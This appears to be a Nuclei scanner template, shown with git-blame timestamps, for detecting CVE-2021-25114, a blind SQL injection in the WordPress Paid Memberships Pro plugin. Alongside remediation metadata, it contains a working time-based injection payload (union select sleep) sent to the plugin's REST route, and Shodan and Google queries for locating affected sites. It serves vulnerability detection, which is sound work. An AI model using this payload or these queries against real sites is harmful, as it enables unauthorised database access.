2023-02-06 12:09:04 +00:00
id : CVE-2021-25114
info :
2023-02-22 19:06:10 +00:00
name : WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
2023-02-06 12:09:04 +00:00
author : theamanrawat
severity : critical
description : |
2023-02-22 19:06:10 +00:00
WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
2023-02-06 12:09:04 +00:00
reference :
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
- https://wordpress.org/plugins/paid-memberships-pro/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
2023-07-11 19:49:27 +00:00
- https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2023-02-06 12:09:04 +00:00
classification :
2023-02-07 04:35:56 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-02-06 12:09:04 +00:00
cve-id : CVE-2021-25114
2023-02-07 04:35:56 +00:00
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.03548
epss-percentile : 0.91594
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
2023-02-06 12:09:04 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : strangerstudios
product : paid_memberships_pro
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/paid-memberships-pro/
fofa-query : body=/wp-content/plugins/paid-memberships-pro/
2024-06-07 10:04:29 +00:00
publicwww-query : /wp-content/plugins/paid-memberships-pro/
google-query : inurl:"/wp-content/plugins/paid-memberships-pro"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios
2023-02-06 12:09:04 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-02-06 12:09:04 +00:00
- raw :
- |
2023-02-06 13:47:27 +00:00
@timeout : 15s
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
2023-02-06 12:09:04 +00:00
Host : {{Hostname}}
- |
2023-02-06 13:47:27 +00:00
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
2023-02-06 12:09:04 +00:00
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
2023-02-06 13:47:27 +00:00
- duration_1>=6
2023-06-19 21:10:30 +00:00
- contains(header_1, "application/json")
2023-02-06 12:09:04 +00:00
- status_code == 200
2023-02-06 13:47:27 +00:00
- contains(body_2, 'other_discount_code_')
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a0047304502210080b4fd1ea8002928950a4be85999cc9bb3e3d35dd99ca34564c39556ae1544b002207c4249f959342254d0c492ed59ccd668a4925e63f456d78f2483e98a274c11b9:922c64590222798bb761d5b6d8e72950